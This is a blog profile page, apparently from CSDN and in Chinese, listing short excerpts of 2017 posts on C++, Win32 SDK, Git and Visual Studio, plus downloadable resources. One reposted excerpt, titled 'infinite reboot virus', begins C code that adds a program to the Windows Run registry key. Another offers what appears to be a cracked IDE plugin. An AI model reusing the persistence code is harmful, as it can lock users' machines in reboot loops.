- 博客(19)
- 资源 (11)
- 收藏
- 关注
原创 变量定义的两种风格:*跟随变量类型标识符还是变量标识符
引言:公司项目中有两种风格混杂在《C++ Primer 5th》上面看到的书的变量定义风格是 * 与变量标识符写在一起,而公司的项目呢,则是 * 与类型标识符写在一起。尽管是个很小的问题,但是作为代码强迫症的我还是很在意,究竟哪种方式更好呢?变量定义的两种风格:*跟随变量类型标识符还是变量标识符最近重新翻看《C++ Primer 5th》,发现在书的第52页中已经有过描述了,这里引用书上原文:
2017-03-27 11:49:16 1961
原创 输入框如何限制输入字数的方法
之前研究过这个问题,研究了很久,什么研究输入框的特性啦、如何屏蔽用户的输入消息之类的东西。最后在 MSDN 上的某处代码中得到了启发:与其说是限制字数,也可以说是截断字符串,也就是说当我们每输入一个字的时候,判断总体字符串是否大于了最大值,如果大于,则直接截取即可。就这么简单!!!给用户的感觉就像是,诶,好像是不能输入了。其实我们程序做的事情就是,获取用户输入的字符串,然后按最大值截取,然后再粘贴回
2017-03-24 17:18:28 3235
原创 时间类型转换:将COleDateTime转换为INT64类型
引言最近工作上遇到了这样的问题,一个接口的一个调用参数是需要传入一个 INT64 类型的数据,然而现在另外一个同事给我的数据类型形如 2017-3-24 这样的数据类型,我该如何转换成 INT64 类型的时间数据呢?解决方案展开了大量的搜索大法,发现这样的问题很少有人遇到。通过折返走了好大一圈,终于找到了解决的办法,这个办法或许不是最好的办法,也将将可以使用了。// 将形如 "2017-03-24"
2017-03-24 11:19:47 1368
原创 在Git官网上学习基本的Git指令
刚学习完了廖雪峰老师的Git教程,打开了Git官网,发现了一个有趣的东西。Git Tutorial可以在网站上模拟Git用户环境,了解Git的基本指令,不用配置环境也可以了解Git,我觉得还可以,这里推荐给大家。 请点击这里Git Tutorial。
2017-03-18 14:41:06 544 1
原创 Git 使用中显示“Another git process seems to be running in this repository...”问题解决
引言:问题回忆这几天,我同时在使用vs2017自带的git管理工具和git bash命令行工具对于同一个工作区进行了git操作管理。 其中,当我在vs2017中对文件进行了更改,突然脑洞大开,想要使用git bash使用命令行进入到工作区使用命令行git commit提交修改,此时我输入了git commit结果一不小心点击了右上角的结束按钮,导致此git进程崩溃。 然后进入了vs2017的gi
2017-03-17 11:02:49 64770 13
原创 VS编写C、C++程序一闪而过的解决办法
最近正在第二遍看《C++ Primer 5th》这本书,第一遍没有怎么敲代码,第二遍想跟着习题敲过去。想着该怎么用VS这宇宙第一IDE调试最纯净的C++程序呢?方法一:使用Sleep()函数此函数需要添加头文件Sleep(1000); // 1000毫秒也就是1秒方法二:使用System(“pause”)函数此函数需要添加头文件System("pause"); // 点击任意键才退出程序总结以
2017-03-16 21:16:50 10834
原创 支持VS2017的vax插件VA_X_Setup2210
自从3月7号VS2017正式版发布,因为没有破解的vax插件可用,忍受了几天没有vax的日子。可能是本人能力不够,觉得一旦离开了vax好像就不会写C++代码了。 找了很久也没找到可以使用的vax插件,这里友情奉献!!! 支持VS2017的vax插件VA_X_Setup2210下载地址
2017-03-16 14:18:26 7034 1
原创 一个使用纯Win32 SDK和C语言实现的五子棋游戏
GobangGame这是一个使用纯Win32 SDK和C语言实现的五子棋游戏在这个游戏中实现的功能[x] 绘制一个15 * 15的棋盘[x] 绘制5个着重点位置[x] 根据鼠标左键的点击,可以绘制出黑色棋子;根据鼠标右键的点击,可以绘制出白色棋子[x] 根据鼠标中键的点击,可以初始化棋盘[x] 根据鼠标点击的实际位置,可以计算转化为临近点最近的那个点,在这个点上绘制棋子[x] 当鼠标位置
2017-03-13 00:03:43 1796
转载 Win API绘制y = sinx函数图像
学习小甲鱼Win32 SDK 第17讲的时候,看到了正弦函数的绘制实现。觉得非常奇妙,这里非常感谢小甲鱼老师,另外附上详尽的备注代码。#include <math.h>// 因为是使用折线绘画,所以当折线的顶点数量非常多的时候,我们就可以看到一条近似完美的曲线了!#define NUM 1000 // 将 x 轴分成 10
2017-03-09 16:24:27 1837
原创 GitHub中README.md添加图片方式
GitHub中的项目,没有一个好点的README.md文件介绍的话,怎么能吸引到对项目感兴趣的人呢?! 这里整理下向GitHub中README.md添加图片的方法。 1. 将要显示的图片上传到GitHub上去。 2. 将要显示的图片以下列![图片介绍](https://github.com/你的GitHub名称/你的Repository名称/raw/master/你上传的路径 你上传的图片名称
2017-03-08 00:16:46 1099
原创 一个多标签页、可输入网址可前进后退刷新的简易浏览器
一个多标签页、可输入网址可前进后退刷新的简易浏览器因为本人之前做过一个单标签页的简易浏览器,所以与标签页逻辑处理无关的介绍就不再赘述了,想要了解的可以查看这里单标签页简易浏览器实现。此程序的功能如下:可输入网址,敲击Enter或者点击Go按钮发起浏览可记录标签页的浏览痕迹,可前进后退可以刷新当前网页标签页可以新建、删除、切换,网页内容也随之变动如何实现多标签页多标签页该如何实现呢?考虑了很
2017-03-08 00:10:44 1072
原创 单标签页简易浏览器实现
一个只有一个标签页的简易浏览器具有以下功能:可以记录浏览记录,可前进后退可以刷新当前网页可以输入网址并且通过Enter键或者右侧的按钮发起导航具有比较人性化的界面引子首先,为什么要写这么一个简单的浏览器呢? 这是因为工作使然。工作上正好想要在当前的PC客户端软件里嵌入一个浏览器,可以使用C++代码调用Js,也可以使用Js调用C++代码,这个demo也就相当于这个需求的前导调研了。参考技术
2017-03-07 23:53:57 1296
原创 VS的VC项目转移过程中可以删除的文件
引子在项目开发过程中,总需要从一台电脑上转移代码到另一台电脑上,但是VS的项目动辄好几百M,而这些文件并不是都需要的。那么为了最小文件大小,又可以在另外一台电脑上顺利编译项目,需要携带或者说需要删除项目中的哪些文件呢?一个例子这里以我自己编写的一个VC项目为例,看看能删除哪些文件。现在先打开项目工程文件夹,查看项目工程文件夹的大小。可以看到,项目目前大小为119MB,让我们打开看看里面有哪些文件。
2017-03-07 18:04:02 8064
原创 开源授权协议GPL和LGPL的区别
引子今天在学习wke的时候,发现了作者在wke.h文件头的位置,写上了licence LGPL 的字样,这里我就疑惑了,好像只听说过GPL,并没有听说过LGPL,那么这两者究竟有什么区别呢?开源授权协议这里引用网上查询到的资料: GPL 是 GNU General Public License(GNU 通用公共许可证)的缩写形式;LGPL 是 GNU Lesser General Public
2017-03-06 16:55:43 23006
原创 获取客户区大小的办法
在Win SDK编程过程中,难免会涉及到需要获得客户区的大小,那么获得客户区大小有几种方法呢?这里我整理了常用的两种。使用GetClientRect() 废话不多说,直接上代码:// 响应什么消息都可以使用这个方法RECT rect;GetClientRect(&rect); int cxClient = rect.right - rect.left; // 获得客户区宽度int cyC
2017-03-06 00:04:56 4816
原创 CreateWindow中dwStyle设置为WS_POPUP时显示不出来
CreateWindow中dwStyle设置为WS_POPUP时显示不出来今天我在调试一个程序的时候,想要创建一个无标题栏无边框的窗口,按照之前的逻辑,代码应该这么写...;hwnd = CreateWindow(szAppName, TEXT("无标题栏无边框窗口"), WS_POPUP, CW_USEDEFAULT, CW_USEDEFAULT,
2017-03-05 23:53:49 3222
原创 Got 5 Minutes?!让我们了解下Haskell吧
闲来无事,翻了下Haskell的信息,然后就点开了Haskell的官方网站,惊奇地发现了官方网站主页上的 Try it! 栏目。鼠标放置上去,还可以输入代码,右侧还会有入门了解的指导信息(当然是英文了)。玩了下,还是觉得很有意思,对于想要稍稍微了解下Haskell的好奇的人还是很有帮助的。 这里附上网址Haskell。
2017-03-03 15:16:40 535
转载 无限重启病毒
无限重启病毒在鱼C论坛上看到的,觉得挺有趣的,就copy过来了。实际上就7行代码,废话不多说,直接上代码。#include<stdlib.h>int main(){ system("reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v restart /t REG_SZ /d \"C:\\
2017-03-02 16:49:11 2331
转载 简单方便设置滚动条的代码
简单方便设置滚动条的代码这是我在学习小甲鱼Win32 SDK编程中的地14课的教学案例,这段代码实在太经典了,来回琢磨了两三遍,还上手敲了一遍,觉得还是不够尽兴,想着还是发到CSDN上来与大家分享。/* ------------------------------------------------------------------- MyWindows.c
2017-03-01 23:50:35 663
Windows Terminal 编译出来的发布包(这是 UWP 程序,要求系统必须是 1809 及其以上)
2019-05-07
Ubuntu 18.04 离线安装 docker17.05.0-ce 安装包
2018-05-23
The docker book (2017 年 3 月版) (对标 docker 版本 v17.03.0 )
2018-05-22
深入浅出 Windows 10通用应用开发 林政著
2018-01-05
Wireshark 数据包分析实战 第2版 (绝对高清108M扫描版)(无目录)
2017-12-19
Head First Design Patterns 随书附带源代码
2017-12-19
支持VS2017的vax插件VA_X_Setup2210
2017-03-16
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人